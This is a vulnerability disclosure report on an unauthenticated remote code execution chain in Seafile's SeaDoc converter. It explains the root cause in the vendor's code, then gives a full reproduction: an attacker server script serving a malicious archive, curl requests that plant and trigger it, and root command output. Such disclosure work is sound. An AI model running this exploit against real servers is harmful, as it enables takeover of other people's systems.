Seafile Vulnerability Report
Software: Seafile
Developer or vendor: Haiwen
Code repository: https://github.com/haiwen/seafile-server
1. Unauthenticated Remote Code Execution in the SeaDoc Converter
Brief description: An attacker who holds a public .sdoc share link can execute commands through the SeaDoc converter.
Affected versions: SeaDoc 2.0.x to 3.x
Preconditions: The instance has a public .sdoc share link, or a published wiki.
Root cause
SeaDoc consists of three processes. seahub handles authentication and page rendering, sdoc-server handles collaborative editing, and seadoc-converter converts documents. All three share the same HMAC key, JWT_PRIVATE_KEY. When a visitor opens a public .sdoc share link, seahub embeds a JWT token in the page so that anonymous preview works.
check_auth_token in the converter only verifies the signature. It checks neither the document the token was issued for nor the permission the token carries:
# seadoc_converter/server/apis.py:25-41 commit 79e46fdcd9
def check_auth_token(req):
auth = req.headers.get('Authorization', '').split()
if not auth or auth[0].lower() != 'token' or len(auth) != 2:
return False
token = auth[1]
if not token:
return False
private_key = config.SEADOC_PRIVATE_KEY
try:
jwt.decode(token, private_key, algorithms=['HS256'])
except (jwt.ExpiredSignatureError, jwt.InvalidSignatureError) as e:
logger.exception(e)
return False
return True
Once the signature is valid, check_auth_token returns True, so the anonymous token reaches every converter endpoint and the permission field of the payload has no effect.
The converter exposes /api/v1/confluence-to-wiki/. That endpoint takes filename from the request body and uses it as a path:
# seadoc_converter/server/apis.py:303-325 commit 79e46fdcd9
underscore_index = filename.rfind('_')
if underscore_index != -1:
space_key = filename[underscore_index + 1:-len('.html.zip')]
elif 'Confluence-space-export-' in filename:
wiki_name = filename[:-len('.html.zip')]
space_key = filename[len('Confluence-space-export-'):-len('.html.zip')]
else:
wiki_name = filename[:-len('.html.zip')]
space_key = wiki_name
try:
extract_dir = '/tmp/wiki'
space_dir = os.path.join(extract_dir, space_key)
zip_file_path = os.path.join(extract_dir, filename)
if not os.path.exists(extract_dir):
os.mkdir(extract_dir)
# Deploy on two machines
is_same_machine = True
if not os.path.exists(space_dir):
os.mkdir(space_dir)
is_same_machine = False
response = requests.get(download_url)
with ZipFile(BytesIO(response.content), 'r') as zip_ref:
zip_ref.extractall(space_dir)
When the second argument of os.path.join begins with a slash, the first argument is discarded. Both space_dir and zip_file_path thus become attacker-controlled absolute paths, and the converter creates the directory and unpacks the archive there as the user it runs under. With space_key set to /usr/lib/python3.12/encodings/cp273, the __init__.py inside the archive lands in the encodings package as a subpackage named cp273.
The converter cleans up after the extraction in a finally block, but only after the result upload returns. That upload has no timeout:
# seadoc_converter/converter/utils.py:221-223 commit 79e46fdcd9
resp = requests.post(upload_url, files=files)
if not resp.ok:
raise Exception(f"upload zip file failed: {resp.text}")
The clean-up is this block:
# seadoc_converter/server/apis.py:335-339 commit 79e46fdcd9
finally:
if not is_same_machine:
shutil.rmtree(space_dir)
if os.path.exists(zip_file_path):
os.remove(zip_file_path)
If upload_url points to an address that accepts the connection and never answers, requests.post blocks, finally never runs, and the planted files stay on disk.
A file on disk does not execute by itself. /api/v1/file-convert/ logs the upload response body when the upload fails:
# seadoc_converter/server/apis.py:103-109 commit 79e46fdcd9
resp = requests.post(upload_url,
data={'target_file': new_file_path, 'parent_dir': parent_dir},
files={'file': (file_name, file_content.encode())}
)
if not resp.ok:
logger.error(resp.text)
return {'error_msg': resp.text}, 500
Response.text evaluates str(self.content, encoding), where encoding comes from the charset parameter of the response header. If the upload address answers 500 and declares charset=cp273, CPython lazily imports the corresponding codec from the encodings package. FileFinder looks for the directory package <name>/__init__.py before the module <name>.py, so the import resolves to the planted encodings/cp273/__init__.py. Its code then runs inside the converter process, and no restart is needed.
Reproduction environment
The lab runs the official Docker compose deployment:
mkdir seafile && cd seafile
wget https://manual.seafile.com/13.0/repo/docker/ce/env
wget https://manual.seafile.com/13.0/repo/docker/ce/seafile-server.yml
wget https://manual.seafile.com/13.0/repo/docker/ce/caddy.yml
wget https://manual.seafile.com/13.0/repo/docker/ce/seadoc.yml
docker compose up -d
Create an account, create a .sdoc file, and generate a public share link for it.
Reproduction
Open the share link:

Search the page source for seadocAccessToken and copy the string that follows it. This is the JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaWxlX3V1aWQiOiIwODhlZTNlMy1hMTcxLTQ3M2YtYTNkYi01NmJjYjE0OWMwNjUiLCJmaWxlbmFtZSI6Im5vdGUuc2RvYyIsInVzZXJuYW1lIjoiQW5vbnltb3VzIiwibmFtZSI6IkFub255bW91cyIsImF2YXRhcl91cmwiOiJodHRwOi8vc2VhZmlsZS5sb2NhbC9tZWRpYS9hdmF0YXJzL2RlZmF1bHQucG5nIiwicGVybWlzc2lvbiI6InIiLCJkZWZhdWx0X3RpdGxlIjoibm90ZS5zZG9jIiwiZXhwIjoxNzkzMDcyMzU1fQ.X7G6WFnatacDI6Fg9fDT0DmkyYzv5Vgub28spPXOi3g
The token is a read-only anonymous credential. Its payload is:
{
"file_uuid": "088ee3e3-a171-473f-a3db-56bcb149c065",
"filename": "note.sdoc",
"username": "Anonymous",
"name": "Anonymous",
"avatar_url": "http://seafile.local/media/avatars/default.png",
"permission": "r",
"default_title": "note.sdoc",
"exp": 1793072355
}
The converter downloads an archive from download_url and posts the result to upload_url. Run a service on a host the target can reach. It provides four endpoints: /payload.zip returns the archive to plant, /md returns the markdown to convert, /hang accepts the connection and never answers, and /err/<codec> answers 500 with the given charset. The script is:
import asyncio
import io
import zipfile
from fastapi import FastAPI, Response
from fastapi.responses import PlainTextResponse
def build_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('__init__.py',
"import os\n"
"if os.fork() == 0:\n"
" os.system('id > /root/pwned; hostname >> /root/pwned')\n"
" os._exit(0)\n")
z.writestr('page.html',
'<html><body><div id="main-content"><h1>Hello</h1>'
'<p>world</p></div></body></html>')
return buf.getvalue()
ZIP = build_zip()
app = FastAPI()
@app.get('/payload.zip')
def payload():
return Response(ZIP, media_type='application/zip')
@app.get('/md')
def md():
return PlainTextResponse('# hello\n\nworld\n')
@app.post('/hang')
async def hang():
await asyncio.sleep(3600)
@app.post('/err/{codec}')
def err(codec: str):
return Response('boom', status_code=500,
media_type='text/plain; charset=%s' % codec)
In the commands below, 192.0.2.10 stands for that host and 18099 for its port. Start the service:
uvicorn attacker_server:app --host 0.0.0.0 --port 18099
Send a request to confluence-to-wiki with filename set to /usr/lib/python3.12/encodings/cp273aaaaaaaaa and upload_url pointing at /hang. The request does not return:
TOKEN='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaWxlX3V1aWQiOiIwODhlZTNlMy1hMTcxLTQ3M2YtYTNkYi01NmJjYjE0OWMwNjUiLCJmaWxlbmFtZSI6Im5vdGUuc2RvYyIsInVzZXJuYW1lIjoiQW5vbnltb3VzIiwibmFtZSI6IkFub255bW91cyIsImF2YXRhcl91cmwiOiJodHRwOi8vc2VhZmlsZS5sb2NhbC9tZWRpYS9hdmF0YXJzL2RlZmF1bHQucG5nIiwicGVybWlzc2lvbiI6InIiLCJkZWZhdWx0X3RpdGxlIjoibm90ZS5zZG9jIiwiZXhwIjoxNzkzMDcyMzU1fQ.X7G6WFnatacDI6Fg9fDT0DmkyYzv5Vgub28spPXOi3g'
curl -s -X POST http://seafile.local/sdoc-server/converter/api/v1/confluence-to-wiki/ \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"filename":"/usr/lib/python3.12/encodings/cp273aaaaaaaaa","download_url":"http://192.0.2.10:18099/payload.zip","upload_url":"http://192.0.2.10:18099/hang","username":"demo"}'
The files are on disk inside the seadoc container while the request stays blocked:
$ ls -l /usr/lib/python3.12/encodings/cp273/
total 20
-rw-r--r-- 1 root root 104 Oct 24 03:43 __init__.py
drwxr-xr-x 2 root root 4096 Oct 24 03:43 md_output
drwxr-xr-x 2 root root 4096 Oct 24 03:43 __pycache__
-rw-r--r-- 1 root root 563 Oct 24 03:43 sdoc_archive.zip
drwxr-xr-x 2 root root 4096 Oct 24 03:43 sdoc_output
Then send a request to file-convert with upload_url pointing at /err/cp273:
curl -s -X POST http://seafile.local/sdoc-server/converter/api/v1/file-convert/ \
-H "Authorization: token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/x.md","src_type":"markdown","dst_type":"sdoc","username":"demo","doc_uuid":"088ee3e3-a171-473f-a3db-56bcb149c065","download_url":"http://192.0.2.10:18099/md","upload_url":"http://192.0.2.10:18099/err/cp273"}'
The response is:
{"error_msg":"boom"}
The command has run on the server:
$ cat /root/pwned
uid=0(root) gid=0(root) groups=0(root)
508640b9e839